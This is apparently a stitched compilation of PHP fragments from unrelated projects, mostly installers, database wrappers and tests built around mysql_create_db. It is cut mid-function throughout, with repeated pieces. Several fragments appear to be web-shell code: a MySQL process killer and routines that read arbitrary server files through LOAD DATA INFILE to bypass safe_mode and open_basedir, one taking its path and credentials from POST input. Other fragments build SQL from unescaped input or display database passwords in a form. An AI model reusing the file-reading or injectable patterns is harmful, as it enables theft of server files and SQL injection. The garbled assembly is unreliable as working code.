function hesk_iTestDatabaseConnection()
{
global $hesk_settings, $hesklang;
$db_success = 1;
$hesk_settings['db_host'] = hesk_input(hesk_POST('host'));
$hesk_settings['db_name'] = hesk_input(hesk_POST('name'));
$hesk_settings['db_user'] = hesk_input(hesk_POST('user'));
$hesk_settings['db_pass'] = hesk_input(hesk_POST('pass'));
// Allow & in password
$hesk_settings['db_pass'] = str_replace('&', '&', $hesk_settings['db_pass']);
// Use MySQLi extension to connect?
$use_mysqli = function_exists('mysqli_connect') ? true : false;
// Start output buffering
ob_start();
// Connect to database
if ($use_mysqli) {
// Do we need a special port? Check and connect to the database
if (strpos($hesk_settings['db_host'], ':')) {
list($hesk_settings['db_host'], $hesk_settings['db_port']) = explode(':', $hesk_settings['db_host']);
$hesk_db_link = mysqli_connect($hesk_settings['db_host'], $hesk_settings['db_user'], $hesk_settings['db_pass'], $hesk_settings['db_name'], intval($hesk_settings['db_port'])) or $db_success = 0;
} else {
$hesk_db_link = mysqli_connect($hesk_settings['db_host'], $hesk_settings['db_user'], $hesk_settings['db_pass'], $hesk_settings['db_name']) or $db_success = 0;
}
} else {
$hesk_db_link = mysql_connect($hesk_settings['db_host'], $hesk_settings['db_user'], $hesk_settings['db_pass']) or $db_success = 0;
// Select database works OK?
if ($db_success == 1 && !mysql_select_db($hesk_settings['db_name'], $hesk_db_link)) {
// No, try to create the database
if (function_exists('mysql_create_db') && mysql_create_db($hesk_settings['db_name'], $hesk_db_link)) {
if (mysql_select_db($hesk_settings['db_name'], $hesk_db_link)) {
$db_success = 1;
} else {
$db_success = 0;
}
} else {
$db_success = 0;
}
}
}
ob_end_clean();
// Any errors?
if (!$db_success) {
global $mysql_log;
$mysql_log = $use_mysqli ? mysqli_connect_error() : mysql_error();
hesk_iDatabase(1);
}
return $hesk_db_link;
}
public function mysql($host, $user, $passwd, $db, $create = "")
{
$this->db_name = $db;
$this->db_user = $user;
$this->db_passwd = $passwd;
$this->db_host = $host;
$this->db_link_ptr = @mysql_connect($host, $user, $passwd) or $this->error("", mysql_error(), mysql_errno());
$this->dbhandler = @mysql_select_db($db);
mysql_set_charset('utf8');
if (!$this->dbhandler) {
if ($create == "1") {
@mysql_create_db($db, $this->db_link_ptr) or $this->error("imposible crear la base de datos.", mysql_error(), mysql_errno());
$this->dbhandler = @mysql_select_db($db);
}
}
}
function CreateDatabase(&$db, $name)
{
if (!$db->Connect()) {
return 0;
}
if (function_exists("mysql_create_db")) {
$success = mysql_create_db($name, $db->connection);
} else {
$db->EscapeText($name);
$success = mysql_query("CREATE DATABASE {$name}", $db->connection);
}
if (!$success) {
return $db->SetError("Create database", mysql_error($db->connection));
}
return 1;
}
if ($sql_act == "processes") {
if (!empty($kill)) {
$query = 'KILL ' . $kill . ';';
$result = mysql_query($query, $sql_sock);
echo "<b>Killing process #" . $kill . "... ok. he is dead, amen.</b>";
}
$result = mysql_query("SHOW PROCESSLIST", $sql_sock);
echo "<center><b>Processes:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td>STATE</td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
echo "<tr><td>" . $row[0] . "</td><td>" . $row[1] . "</td><td>" . $row[2] . "</td><td>" . $row[3] . "</td><td>" . $row[4] . "</td><td>" . $row[5] . "</td><td>" . $row[6] . "</td><td>" . $row[7] . "</td><td><a href=\"" . $sql_surl . "sql_act=processes&kill=" . $row[0] . "\"><u>Kill</u></a></td></tr>";
}
echo "</table>";
mysql_free_result($result);
} elseif ($sql_act == "getfile") {
if (!mysql_create_db("tmp_bd")) {
echo mysql_error();
} elseif (!mysql_select_db("tmp_bd")) {
echo mysql_error();
} elseif (!mysql_query('CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );')) {
echo mysql_error();
} else {
mysql_query("LOAD DATA INFILE \"" . addslashes($sql_getfile) . "\" INTO TABLE tmp_file");
$query = "SELECT * FROM tmp_file";
$result = mysql_query($query);
if (!$result) {
echo "Error in query \"" . $query . "\": " . mysql_error();
} else {
for ($i = 0; $i < mysql_num_fields($result); $i++) {
$name = mysql_field_name($result, $i);
}
/**
* Test mysql_create_db
*
* @return boolean
*/
public function MySQL_Create_Db_Test()
{
// Drop db
return mysql_create_db('unit_sql_v_2') === true;
}
/**
* DB作成
*
* @param $dbname
* @return bool
*/
public function createDB($dbname)
{
$success = false;
// 接続
$this->connectDB();
// DB作成
if ($this->linkId) {
// for PHP4
if ($this->mysql_mode == MYSQL_MODE_MYSQL && function_exists('mysql_create_db')) {
if (mysql_create_db($dbname, $this->linkId)) {
$success = true;
}
} else {
$sql = 'CREATE DATABASE ' . $dbname;
if ($this->mysql_mode == MYSQL_MODE_MYSQL) {
if (mysql_query($sql, $this->linkId)) {
$success = true;
}
} else {
if ($this->mysql_mode == MYSQL_MODE_MYSQLI) {
if (mysqli_query($sql, $this->linkId)) {
$success = true;
}
}
}
}
$this->close();
}
return $success;
}
echo "<b>Killing process #" . $kill . "... ok. he is dead, amen.</b>";
}
$result = mysql_query("SHOW PROCESSLIST", $sql_sock);
echo "<center><b>Processes:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {
echo "<tr><td>" . $row[0] . "</td><td>" . $row[1] . "</td><td>" . $row[2] . "</td><td>" . $row[3] . "</td><td>" . $row[4] . "</td><td>" . $row[5] . "</td><td>" . $row[6] . "</td><td>" . $row[7] . "</td><td><a href=\"" . $sql_surl . "sql_act=processes&kill=" . $row[0] . "\"><u>Kill</u></a></td></tr>";
}
echo "</table>";
mysql_free_result($result);
}
if ($sql_act == "getfile") {
$tmpdb = $sql_login . "_tmpdb";
$select = mysql_select_db($tmpdb);
if (!$select) {
mysql_create_db($tmpdb);
$select = mysql_select_db($tmpdb);
$created = !!$select;
}
if ($select) {
$created = FALSE;
mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
mysql_query("LOAD DATA INFILE \"" . addslashes($sql_getfile) . "\" INTO TABLE tmp_file");
$result = mysql_query("SELECT * FROM tmp_file;");
if (!$result) {
echo "<b>Error in reading file (permision denied)!</b>";
} else {
for ($i = 0; $i < mysql_num_fields($result); $i++) {
$name = mysql_field_name($result, $i);
}
$f = "";
array_push($sql, 'CREATE TABLE IF NOT EXISTS `socialhns` (
`user_id` INT( 10 ) NOT NULL ,
`following` TEXT NOT NULL ,
`followers` TEXT NOT NULL ,
`contacts` TEXT NOT NULL ,
PRIMARY KEY (`user_id` )
) ENGINE = MYISAM');
array_push($sql, 'CREATE TABLE IF NOT EXISTS `stream` (
`sid` INT( 10 ) NOT NULL AUTO_INCREMENT ,
`owner` INT( 10 ) NOT NULL ,
`timestamp` INT( 10 ) NOT NULL ,
`type` INT( 1 ) NOT NULL ,
`data` TEXT NOT NULL ,
`likes` INT( 11 ) NOT NULL ,
`comments` MEDIUMTEXT NOT NULL ,
`shares` MEDIUMTEXT NOT NULL ,
`block` TEXT NOT NULL ,
`ids` TEXT NOT NULL ,
PRIMARY KEY (`sid` )
) ENGINE = MYISAM');
array_push($sql, 'CREATE TABLE IF NOT EXISTS `users_online` (
`timestamp` INT( 10 ) NOT NULL ,
`user_id` INT( 10 ) NOT NULL ,
`username` VARCHAR( 20 ) NOT NULL ,
`file` VARCHAR( 100 ) NOT NULL
) ENGINE = MYISAM');
mysql_create_db('hns') or die('Cannot create database');
mysql_select_db('hns') or die('Cannot select database');
foreach ($sql as $query) {
//mysql_query($query) or die(mysql_error());
}
function createDB($DBName)
{
/* 新建一个 MySQL 数据库 */
return @mysql_create_db($DBName, $this->LinkId) or die($this->halt("创建数据库 " . $DBName . " 失败！"));
}
if (!empty($sales_option) && $sales_option == true) {
echo "<form method=\"POST\" action=\"{$_SERVER['PHP_SELF']}\"><input type=\"hidden\" name=\"action\" value=\"sal\"><input type=\"submit\" value=\"INSTALL/UPDATE DB for SalesOption\"></form>";
}
if ($chat_db_name && $chat_enable && $chat_interface) {
echo "<form method=\"POST\" action=\"{$_SERVER['PHP_SELF']}\"><input type=\"hidden\" name=\"action\" value=\"chat\"><input type=\"submit\" value=\"INSTALL/UPDATE DB for ChatOption\" ></form>";
}
echo "</td></tr></table></center>\n";
}
echo "<p align=center><input type=\"submit\" value=\"HOME\" onclick=\"javascript:window.location.href='{$_SERVER['PHP_SELF']}'\"> <input type=\"submit\" value=\"ADMIN\" onclick=\"javascript:window.location.href='admin.php'\"> <input type=\"submit\" value=\"MEMBERAREA\" onclick=\"javascript:window.location.href='http://www.smartisoft.com/?member'\"> <input type=\"submit\" value=\"EXIT\" onclick=\"javascript:window.close()\">";
mysql_close();
} else {
mysql_close();
if ($_POST['action'] == "inst") {
mysql_connect($db_server, $db_user, $db_pass);
echo "<b>Logix Classifieds Database install</b>";
if (mysql_create_db($db_name)) {
echo "<b> - OK</b><p>";
} else {
echo "<b><font color=red> - FAILED</b></font><p>";
}
mysql_close();
# echo "<form method=\"POST\" action=\"$_SERVER[PHP_SELF]\"><input type=\"hidden\" name=\"action\" value=\"del\"><input type=\"submit\" value=\"INSTALL TABLES #$Id$1.5x\n\"></form><hr>";
} else {
echo "Database [{$db_name}] does NOT exist or is NOT accessable !!!<p>";
echo "<form method=\"POST\" action=\"{$_SERVER['PHP_SELF']}\">\n";
echo "<table width=\"400\">\n";
echo "<tr><td colspan=2><font face=\"verdana\" size=\"2\"><br>Check your mySQL Data (edit config.php)<br><br></font></td></tr>\n";
echo "<tr><td><font face=\"verdana\" size=\"2\">mySQL-Server: </font></td><td><input type=\"text\" name=\"mysqlserver\" value=\"{$db_server}\" size=\"20\" readonly><br></td></tr>\n";
echo "<tr><td><font face=\"verdana\" size=\"2\">mySQL-User: </font></td><td><input type=\"text\" name=\"mysqluser\" value=\"{$db_user}\" size=\"20\" readonly><br></td></tr>\n";
echo "<tr><td><font face=\"verdana\" size=\"2\">mySQL-Pass: </font></td><td><input type=\"text\" name=\"mysqlpass\" value=\"{$db_pass}\" size=\"20\" readonly><br></td></tr>\n";
echo "<tr><td><font face=\"verdana\" size=\"2\">mySQL-DB: </font></td><td><input type=\"text\" name=\"mysqldb\" value=\"{$db_name}\" size=\"20\" readonly><br></td></tr>\n";
/**
* @param $db_name
* @return bool
*/
public function createDB($db_name)
{
// for PHP4
if ($this->mode == self::MODE_MYSQL && function_exists('mysql_create_db')) {
if (mysql_create_db($db_name, $this->linkId)) {
return true;
}
} else {
$sql = "CREATE DATABASE " . $this->escapeColumn(":DB") . ";";
$query = $this->createQuery()->queryExecute($sql, array("DB" => $db_name));
return $query->getResult() ? true : false;
}
return false;
}
function createDB($db_name) {
// Create Databas
// $db_name - new DB name
mysql_create_db($db_name);
if(mysql_errno()) {
// DB not created
echo 'Error in create_new_db() : db not created';
return false;
}
}
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>Admin top page</title>
</head>
<body background="rlaemb.JPG">
<!--create or drop database-->
<?php
include "admin_access.inc";
include 'rla_functions.inc';
if ($create) {
$action = $action;
if ($action == "Create a DB") {
$result = mysql_create_db($dbname, $contid);
} elseif ($action == "Drop a DB") {
$result = mysql_drop_db($dbname, $contid);
}
$outcome = '<h2><font size="5">';
if ($result) {
$outcome = "Database \"{$dbname}\" has been {$action} successfully.<br>";
} else {
$outcome = "Database \"{$dbname}\" has failed to be {$action} .<br>";
}
$outcome = $outcome . '</font></h2>';
$outcome = $outcome . '<a href="admin_dbedit_top.php">Create or drop Database</a>';
}
?>
<!--Change DB-->
}
if ($_GET['step'] == 'install') {
if (!$_POST['username'] or !$_POST['password']) {
$error = 1;
$errorInfo .= '用户名或密码不能为空<br>';
}
if ($_POST['password'] != $_POST['passwordconfirm']) {
$error = 1;
$errorInfo .= '两次输入得密码不一致<br>';
}
if (!@mysql_connect($_POST['databaseserver'], $_POST['databaseuser'], $_POST['databasepassword'])) {
$error = 1;
$errorInfo .= '数据库连接错误!<br>';
}
if (!@mysql_select_db($_POST['database'])) {
if (!@mysql_create_db($_POST['database'])) {
$error = 1;
$errorInfo .= '所选择的数据库不存在或者不能被创建.!<br>';
} else {
@mysql_select_db($_POST['database']);
}
}
$configContent = getcontent(cfgFilePath . cfgDefaultConfig);
$configContent = str_replace('DATABASE_SERVER', $_POST['databaseserver'], $configContent);
$configContent = str_replace('DATABASE_USER', $_POST['databaseuser'], $configContent);
$configContent = str_replace('DATABASE_PASS', $_POST['databasepassword'], $configContent);
$configContent = str_replace('DATABASE_NAME', $_POST['database'], $configContent);
$configContent = str_replace('DATABASE_PRE', $_POST['tablepre'], $configContent);
$configContent = str_replace('GDFONT', $_POST['gdfont'], $configContent);
$configContent = str_replace('ADMINNAME', $_POST['username'], $configContent);
$configContent = str_replace('ADMINPASS', $_POST['password'], $configContent);
/**
* Create database
*
* @database_name - name of the database to create
* @returns true if succeed, false if not
*
*/
public function create_database($database_name)
{
return mysql_create_db($database_name);
}
function create_db($dbname)
{
return @mysql_create_db($dbname, $this->conn);
}
}
if ($chaturl == "" || $chaturl == "C_CHAT_URL") {
$chaturl = "http://" . str_replace("install/install.php", "", $_SERVER["HTTP_HOST"] . $_SERVER["SCRIPT_NAME"]);
}
$conn = @mysql_connect($dbhost, $dbuname, $dbpass) or $error = L_DB_NOCONNECT;
@mysql_query("SET CHARACTER SET utf8");
mysql_query("SET NAMES 'utf8'");
if ($conn != false) {
// Get MySQL server version and set the corresponding engine type
$mysql_info = mysql_get_server_info();
$mysql_version = substr($mysql_info, 0, strpos($mysql_info, "-"));
$engine = settype($mysql_version, "float") >= "4.1" ? "ENGINE" : "TYPE";
$stamp = settype($mysql_version, "float") >= "5.1" ? "timestamp" : "timestamp(14)";
$myconn = mysql_select_db($dbname, $conn);
if ($myconn == false) {
$cr_db = @mysql_create_db($dbname, $conn);
$cr_db = mysql_query("CREATE DATABASE {$dbname} DEFAULT CHARACTER SET utf8 DEFAULT COLLATE utf8_unicode_ci IF NOT EXISTS;", $conn);
if ($cr_db == false) {
$error = sprintf(L_DB_HINT1, $dbname);
}
}
}
if ($logdirnew != $logdir && $logdirnew != "") {
$LOG_DIR_N = ", LOG_DIR = '" . $logdirnew . "'";
$LOG_DIR_NN = "UPDATE {$t_config} SET LOG_DIR = '" . $logdirnew . "' WHERE ID='0';";
}
if ($error == "") {
if ($kind == "new") {
include "database/mysql_new_install.php";
mysql_query("UPDATE {$t_config} SET LANGUAGE = '{$L}', ADMIN_NAME = '{$adminname}', ADMIN_EMAIL = '{$adminemail}', CHAT_URL = '{$chaturl}', CHAT_NAME = '{$chatname}'" . $LOG_DIR_N . " WHERE ID='0';");
} elseif ($kind == "194-RC4") {
* You should have received a copy of the Affero General Public
* License in the COPYING file that comes with The Affero Project; if
* not, write to Affero, Inc., 510 Third Street, Suite 225, San
* Francisco, CA 94107 USA.
*/
if (isset($_POST['create'])) {
// connect to the database
if (!mysql_connect($_POST['host'], $_POST['user'], $_POST['pass'])) {
die("Could not connct to database, check host/user/pass settings!");
}
// check if we shall create a new database
if ($_POST['create'] == "create") {
if (!function_exists("mysql_create_db")) {
die("The mysql_create_db() function does not exist in your PHP installation! Please create the database by hand, and chose the 'Use existing DB' option in the installation script.");
}
if (!mysql_create_db($_POST['name'])) {
die("Database could not be created: " . $_POST['name']);
}
}
// select database
if (!mysql_select_db($_POST['name'])) {
die("Could not select db: " . $_POST['name']);
}
/* mms table */
$sql = "\r\n\t\tCREATE TABLE `mms` (\r\n\t\t `id` int(10) NOT NULL auto_increment,\r\n\t\t `from` char(255) NOT NULL default '',\r\n\t\t `to` char(255) NOT NULL default '',\r\n\t\t `subject` char(255) NOT NULL default '',\r\n\t\t `content_type` char(255) NOT NULL default '',\r\n\t\t PRIMARY KEY (`id`)\r\n\t\t) TYPE=MyISAM AUTO_INCREMENT=28 ;\r\n\t";
if (!mysql_query($sql)) {
print "Could not create table: mms. MySQL: " . mysql_error() . "<br>\n";
}
/* parts table */
$sql = "\r\n\t\tCREATE TABLE `parts` (\r\n\t\t `id` int(10) NOT NULL auto_increment,\r\n\t\t `mmsid` int(10) NOT NULL default '0',\r\n\t\t `datalen` int(12) NOT NULL default '0',\r\n\t\t `content_type` varchar(255) NOT NULL default '',\r\n\t\t `data` mediumblob NOT NULL,\r\n\t\t PRIMARY KEY (`id`)\r\n\t\t) TYPE=MyISAM AUTO_INCREMENT=33 ;\r\n\t";
if (!mysql_query($sql)) {
}
}
if (!function_exists('mysql_drop_db')) {
function mysql_drop_db($database_name, $link_identifier = null)
{
$sql = "DROP DATABASE `{$database_name}`";
if (mysql_query($sql)) {
return true;
}
return false;
}
}
/*Создаем новую базу*/
if (isset($_GET['new_db'])) {
$new_db = trim($_GET['new_db']);
if (mysql_create_db($new_db)) {
print "<center><font size=2>База <b>{$new_db}</b> успешно создана ...</font></center><br>";
print "<head><META HTTP-EQUIV='Refresh' CONTENT='1;url={$self}?s={$s}&login={$login}&passwd={$passwd}&server={$server}&port={$port}'></head>";
} else {
die("{$h_error}" . mysql_error() . "{$f_error} <head><META HTTP-EQUIV='Refresh' CONTENT='2;url={$self}?s={$s}&login={$login}&passwd={$passwd}&server={$server}&port={$port}'></head>");
}
unset($new_db);
}
/*Удаление базы*/
if (isset($_GET['drop'])) {
$result_d = mysql_list_dbs($connection) or die("<td bgcolor=#DAD9D9>{$h_error}" . mysql_error() . "{$f_error}</td></tr></table>");
while ($row_d = mysql_fetch_row($result_d)) {
if ($drop == $row_d[0]) {
$dr = "TRUE";
}
}
function crea($basedatos)
{
mysql_create_db("{$basedatos}") or die("No se ha podido crear la base de datos");
}
function mysql_createdb($name, $c = null)
{
return mysql_create_db($name, $c);
}
<?php
$db_engine = $GLOBALS['s3db_info']['server']['db']['db_type'];
$hostname = $GLOBALS['s3db_info']['server']['db']['db_host'];
$dbname = $GLOBALS['s3db_info']['server']['db']['db_name'];
$user = $GLOBALS['s3db_info']['server']['db']['db_user'];
$pass = $GLOBALS['s3db_info']['server']['db']['db_pass'];
if ($db_engine == 'mysql') {
$connect = mysql_connect($hostname);
$db = mysql_create_db($dbname, $connect);
$sql = "grant all privileges on " . $db_engine . ".* to " . $user . " identified by " . $pass . "";
mysql_db_query($dbname, $sql, $connect);
$sql = 'flush privileges';
mysql_db_query($dbname, $sql, $connect);
mysql_close($connect);
} else {
#creating a db in postgres without root user
$dbconn = pg_connect("host=" . $hostname . " user="******" password="******" dbname=template1");
if (!$dbconn) {
echo "An error occured in connecting to pgSQL database.";
exit;
}
$query = pg_query($dbconn, "create database " . $dbname . " with owner " . $user);
if (!$query) {
echo "An error occured creating the database.";
exit;
}
pg_close($dbconn);
}
<input type=submit value='Show content'>
</form>
<br>";
if($_POST['read_file']){
$read_file=$_POST['read_file'];
@mysql_connect($_POST['serv_ip'].":".$_POST['port'],$_POST['l'],$_POST['p']) or die("<font color=red>".mysql_error()."</font>");
mysql_create_db("tmp_bd_file") or die("<font color=red>".mysql_error()."</font>");
mysql_select_db("tmp_bd_file") or die("<font color=red>".mysql_error()."</font>");
mysql_query('CREATE TABLE `tmp_file` ( `file` LONGBLOB NOT NULL );') or die("<font color=red>".mysql_error()."</font>");
mysql_query("LOAD DATA INFILE \"".addslashes($read_file)."\" INTO TABLE tmp_file");
$query = "SELECT * FROM tmp_file";
$result = mysql_query($query) or die("<font color=red>".mysql_error()."</font>");
print "<b>File content</b>:<br><br>";
for($i=0;$i<mysql_num_fields($result);$i++){
} else {
echo "<span class='ok'>OK!</span></p>";
}
// attempt to connect to the desired database
echo "<p>Selecting database `" . $db . "`: ";
if (!@mysql_select_db($db, $conn)) {
echo "<span class='notok'>Failed...</span> - database does not exist. Will attempt to create:</p>";
$errors += 1;
$create = true;
} else {
echo "<span class='ok'>OK!</span></p>";
}
// attempt to create the database
if ($create) {
echo "<p>Creating database `" . $db . "`: ";
if (!@mysql_create_db($db, $conn)) {
echo "<span class='notok'>Failed!</span> - Could not create database!</p>";
$errors += 1;
echo "<p>Etomite setup could not create the database, and no existing database with the same name was found. </p><p>Please create a database, and run setup again.</p>";
echo $pageFooter;
exit;
} else {
echo "<span class='ok'>OK!</span></p>";
}
}
// cehck to see if the desired table prefix is alreay in use
echo "<p>Checking table prefix `" . $table_prefix . "`: ";
if (@($rs = mysql_query("SELECT COUNT(*) FROM {$db}." . $table_prefix . "site_content"))) {
echo "<span class='notok'>Failed!</span> - Table prefix is already in use in this database!</p>";
$errors += 1;
echo "<p>Etomite setup couldn't install into the selected database, as it already contains Etomite tables. Please choose a new table_prefix, and run setup again.</p>";
function createDatabase()
{
global $mysqlHandle, $dbname, $PHP_SELF;
mysql_create_db($dbname, $mysqlHandle);
listDatabases();
}
print "SUCCESS: connect\n";
}
if (function_exists('mysql_drop_db')) {
$test_db_name = "__converter_test_create_db";
$ret = mysql_create_db($test_db_name, $con);
if (!$ret) {
printf("FAILURE: failed to create test database [1], check your setup! FAILURE: [%d] %s\n", mysql_errno($con), mysql_error($con));
}
$ret = mysql_drop_db($test_db_name, $con);
if (!is_bool($ret)) {
printf("FAILURE: mysql_drop_db(name, con) did not return boolean value, got %s, [%d] %s\n", gettype($ret), mysql_errno($con), mysql_error($con));
}
if (!$ret) {
printf("FAILURE: mysql_drop_db(name, con) failed, [%d] %s\n", mysql_errno($con), mysql_error($con));
}
$ret = mysql_create_db($test_db_name);
if (!$ret) {
printf("FAILURE: failed to create test database [2], check your setup! FAILURE: [%d] %s\n", mysql_errno($con), mysql_error($con));
}
$ret = mysql_drop_db($test_db_name);
if (!is_bool($ret)) {
printf("FAILURE: mysql_drop_db(name) did not return boolean value, got %s, [%d] %s\n", gettype($ret), mysql_errno($con), mysql_error($con));
}
if (!$ret) {
printf("FAILURE: mysql_drop_db(name) failed, [%d] %s\n", mysql_errno($con), mysql_error($con));
}
$ret = mysql_drop_db($test_db_name, $illegal_link_identifier);
if (!is_bool($ret)) {
printf("FAILURE: mysql_drop_db(name, illegal link identifier) did not return boolean value, got %s, [%d] %s\n", gettype($ret), mysql_errno($con), mysql_error($con));
}
if ($ret) {
if (false !== ($tmp = mysql_create_db($link, $link, $link))) {
printf("[002] Expecting boolean/false, got %s/%s\n", gettype($tmp), $tmp);
}
if ($link = my_mysql_connect($host, $user, $passwd, $db, $port, $socket)) {
printf("[003] Can connect to the server using host=%s, user=%s, passwd=***non_empty, dbname=%s, port=%s, socket=%s\n", $host, $user . 'unknown_really', $db, $port, $socket);
}
if (!mysql_query("CREATE DATABASE mysqlcreatedb", $link)) {
die(sprintf("[004] Cannot create database, aborting test, [%d] %s\n", mysql_errno($link), mysql_error($link)));
}
if (!mysql_query("DROP DATABASE mysqlcreatedb", $link)) {
printf("[005] [%d] %s\n", mysql_errno($link), mysql_error($link));
}
if (true !== ($tmp = mysql_create_db("mysqlcreatedb", $link))) {
printf("[006] Expecting boolean/true, got %s/%s, [%d] %s\n", gettype($tmp), $tmp, mysql_errno($link), mysql_error($link));
}
if (false !== ($tmp = mysql_create_db("mysqlcreatedb", $link))) {
printf("[007] Expecting boolean/false, got %s/%s, [%d] %s\n", gettype($tmp), $tmp, mysql_errno($link), mysql_error($link));
}
if (!mysql_query("DROP DATABASE mysqlcreatedb", $link)) {
printf("[008] [%d] %s\n", mysql_errno($link), mysql_error($link));
}
print "done!";
error_reporting(0);
require_once 'connect.inc';
if (!($link = my_mysql_connect($host, $user, $passwd, $db, $port, $socket))) {
printf("[c001] Cannot connect to the server using host=%s, user=%s, passwd=***, dbname=%s, port=%s, socket=%s\n", $host, $user, $db, $port, $socket);
}
if (!mysql_query("DROP DATABASE IF EXISTS mysqlcreatedb", $link)) {
printf("[c002] [%d] %s\n", mysqli_errno($link), mysqli_error($link));
}
mysql_close($link);
function dbCreate($database){
$this->database = $database;
return @mysql_create_db($this->database, $this->link_id);
}
/**
* Test mysql_create_db
*
* @return boolean
*/
public function MySQL_Create_Db_Test()
{
// Connect
$newDb = 'unit_sql_v_2';
return mysql_create_db($newDb) === $this->_object->mysql_create_db($newDb);
}
if ($sql) {
echo "<img src='icons/tick.png' /> " . $aaa . " \"" . $old_table . "\" " . $aaa;
$_GET["table_name"] = $rename_table;
} else {
echo "<img src='icons/database_error.png' /> " . $aaa . " <br />";
}
} else {
echo "<form method='POST' action='?action=rename_table&table_name=" . $_GET["table_name"] . "&database_name=" . $_GET["database_name"] . "&complete'>\n<img src='icons/table_edit.png' border='0' />\n" . $_SESSION["lng"]["rename_table_ok"] . " \"" . $_GET["table_name"] . "\" " . $_SESSION["lng"]["rename_table_2"] . ": <input name='name_of_new_table' type='text' value='' size='20' maxlength='65'> (" . $_SESSION["lng"]["db_create_form2"] . ") <br />\n<input type='submit' value='" . $_SESSION["lng"]["rename_table_ok"] . "'>\n</form>";
}
// --------------------------------------------
} elseif ($_GET["action"] == "add_new_database") {
if (isset($_GET["complete"])) {
$new_db = input($_POST["name_of_new_db"]);
$sql = mysql_query("CREATE DATABASE '" . $new_db . "'");
if (!$sql) {
$sql = mysql_create_db($new_db, $spojeni);
}
if ($sql) {
echo "<img src='icons/tick.png' /> " . $_SESSION["lng"]["db_create_ok1"] . " \"" . $new_db . "\" " . $_SESSION["lng"]["db_create_ok2"];
} else {
echo "<img src='icons/database_error.png' /> " . $_SESSION["lng"]["db_create_er1"] . " <br />";
echo $_SESSION["lng"]["db_create_er2"];
}
} else {
echo "<form method='POST' action='index.php?action=add_new_database&complete'>\n<img src='icons/database_add.png' border='0' />\n" . $_SESSION["lng"]["db_create_form1"] . ": <input name='name_of_new_db' type='text' value='' size='20' maxlength='65'> (" . $_SESSION["lng"]["db_create_form2"] . ") <br />\n<input type='submit' value='" . $_SESSION["lng"]["db_create_form3"] . "'>\n</form>";
}
} else {
$table_count = 0;
$db_count = 0;
$sql = mysql_query("SHOW DATABASES");
while ($pole = mysql_fetch_row($sql)) {
